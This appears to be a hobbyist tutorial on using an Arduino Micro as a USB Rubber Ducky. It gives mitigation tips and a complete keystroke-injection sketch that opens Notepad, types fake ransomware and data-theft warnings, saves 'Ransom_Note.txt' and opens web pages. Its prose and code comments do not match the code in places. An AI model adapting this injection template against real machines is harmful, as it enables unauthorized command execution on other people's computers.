USB RUBBER DUCKY ATTACK
Disclaimer:
The content provided here is for educational purposes only. The information presented is intended to raise awareness about cybersecurity vulnerabilities and to demonstrate potential attack vectors.
Attempting to execute any of the actions described without proper authorization may violate the law and could result in legal consequences. It is crucial to use this knowledge responsibly and ethically.
Furthermore, it is essential to obtain explicit permission from the owner of the target system before conducting any form of security testing or penetration testing. Unauthorized access to computer systems, networks, or data is illegal and unethical.
The author and publisher of this content do not endorse or condone any illegal or unethical activities. Any actions taken based on the information provided are the sole responsibility of the individual.
In this demonstration, I'll showcase how an Arduino Micro board can be utilized to emulate a USB Rubber Ducky, a type of device commonly used in penetration testing to execute scripted keystroke injections on target systems. USB Rubber Ducky attacks exploit the trust placed in USB devices by computers, allowing attackers to execute pre-programmed commands at a rapid pace, often bypassing traditional security measures.
Materials Required:
Arduino Micro board
USB cable
Computer (target system)
Notepad application (for demonstration purposes)
Procedure:
Prepare the Arduino Micro:
Connect the Arduino Micro to your computer using the USB cable.
Open the Arduino IDE or any compatible code editor to upload the provided Arduino sketch.
Upload the Code:
Copy and paste the provided Arduino sketch into the Arduino IDE.
Verify and upload the code to the Arduino Micro board.
Demonstrate the Attack:
Disconnect the Arduino Micro from your computer and connect it to the target system.
Upon connection, the Arduino Micro will simulate keyboard inputs to open Notepad, type "Hello, world!", and save the file as "Ransom_Note.txt" on the C drive.
The demonstration can be customized to include additional steps or commands, such as opening a web browser or executing system commands.
Explain the Attack Process:
Walk through each step of the attack process, highlighting how the Arduino Micro emulates a USB keyboard to execute keystroke injections.
Emphasize the potential impact of such attacks, including data theft, malware installation, or system compromise.
Discuss Mitigation Strategies:
After the demonstration, discuss mitigation strategies to protect against USB Rubber Ducky attacks, such as user awareness training, endpoint protection software, and device control policies.
Here are ten tips to help avoid USB Rubber Ducky attacks and similar threats
Be cautious with unknown USB devices: Avoid plugging in USB devices from unknown or untrusted sources, especially if they are left unattended or found in public places.
Use USB data blockers (USB condoms): Consider using USB data blockers when charging devices from public USB charging stations. These devices prevent data transfer while allowing charging, reducing the risk of malware infection.
Employ physical security measures: Implement physical security measures to prevent unauthorized access to USB ports on computers and other devices, such as locking mechanisms or port covers.
Educate employees and users: Provide cybersecurity awareness training to employees and users, emphasizing the risks associated with USB devices and the importance of vigilance when handling them.
Disable auto-run features: Disable auto-run features on computers to prevent automatic execution of programs or scripts when USB devices are connected. This reduces the likelihood of malware infection from USB drives.
Use endpoint protection software: Install and regularly update endpoint protection software (antivirus/antimalware) on all devices to detect and block malicious activity, including USB-based attacks.
Implement device control policies: Implement device control policies to restrict the use of USB devices on corporate networks. This can help prevent unauthorized USB devices from being connected to company computers.
Monitor USB device activity: Implement monitoring solutions to track USB device activity on corporate networks. This allows IT administrators to identify and investigate suspicious behavior associated with USB devices.
Physically inspect USB devices: Encourage users to visually inspect USB devices for signs of tampering before connecting them to their computers. This includes checking for unusual appearance, labels, or packaging.
Use encrypted USB drives: Consider using encrypted USB drives to store sensitive data. Encrypted drives provide an additional layer of protection against unauthorized access in case the device is lost or stolen.
By following these tips, individuals and organizations can reduce the risk of falling victim to USB Rubber Ducky attacks and similar threats that exploit USB vulnerabilities.
HERE IS THE CODE
#include <Keyboard.h>
void setup() {
// Initialize the USB keyboard
Keyboard.begin();
delay(2000); // Delay to allow time for the system to recognize the keyboard
// Open Notepad
Keyboard.print("Opening Notepad to start the attack..."); // Print message
delay(1000);
Keyboard.press(KEY_LEFT_GUI); // Press the Windows key
Keyboard.press('r'); // Press 'r' key to open the Run dialog
Keyboard.releaseAll(); // Release all keys
delay(1000); // Delay to wait for the Run dialog to open
Keyboard.print("notepad"); // Type 'notepad' into the Run dialog
Keyboard.press(KEY_RETURN); // Press Enter to open Notepad
Keyboard.releaseAll(); // Release all keys
delay(1000); // Delay to wait for Notepad to open
// Type "Hello, world!" into Notepad
Keyboard.print("Your files are being encrypted..."); // Print frightening message
delay(1000);
// Save the file on the desktop
Keyboard.print("Saving encrypted file to your desktop..."); // Print message
delay(1000);
Keyboard.press(KEY_LEFT_CTRL); // Press Ctrl
Keyboard.press('s'); // Press 's' key to save the file
Keyboard.releaseAll(); // Release all keys
delay(1000); // Delay to wait for Save dialog to open
Keyboard.print("C:\\Users\\%username%\\Documents\\Ransom_Note.txt"); // Type the path to the OneDrive Documents folder
Keyboard.press(KEY_RETURN); // Press Enter to save the file
Keyboard.releaseAll(); // Release all keys
delay(3000); // Delay to wait for file to be saved
// Open web browser and navigate to https://www.fessleritconsulting.com/hiddenhackerpage
Keyboard.press(KEY_LEFT_GUI); // Press the Windows key
Keyboard.press('r'); // Press 'r' key to open the Run dialog
Keyboard.releaseAll(); // Release all keys
delay(3000); // Delay to wait for the Run dialog to open
Keyboard.print("https://www.fessleritconsulting.com/hiddenhackerpage"); // Type the URL into the Run dialog
Keyboard.press(KEY_RETURN); // Press Enter to open the web browser
Keyboard.releaseAll(); // Release all keys
delay(5000); // Delay to allow time for browser to open
// Open web browser and navigate to google.com
Keyboard.print("Your personal data is being uploaded to the dark web..."); // Print frightening message
delay(1000);
Keyboard.press(KEY_LEFT_GUI); // Press the Windows key
Keyboard.press('r'); // Press 'r' key to open the Run dialog
Keyboard.releaseAll(); // Release all keys
delay(1000); // Delay to wait for the Run dialog to open
Keyboard.print("https://www.google.com"); // Type the URL into the Run dialog
Keyboard.press(KEY_RETURN); // Press Enter to open the web browser
Keyboard.releaseAll(); // Release all keys
delay(2000); // Delay to allow time for browser to open
Keyboard.print("Your computer is being remotely controlled..."); // Print frightening message
}
void loop() {
// Nothing to do in the loop
}
Donate
If you've enjoyed exploring my Arduino projects and want to see more amazing creations, your support can make a big difference! By contributing, you're helping me continue to innovate and bring even more exciting projects to life. Together, we can explore the endless possibilities of DIY electronics! Don't forget to like, subscribe, and follow for updates on the latest developments. Thank you for being a part of this journey!
Click here to make a difference with your donation today!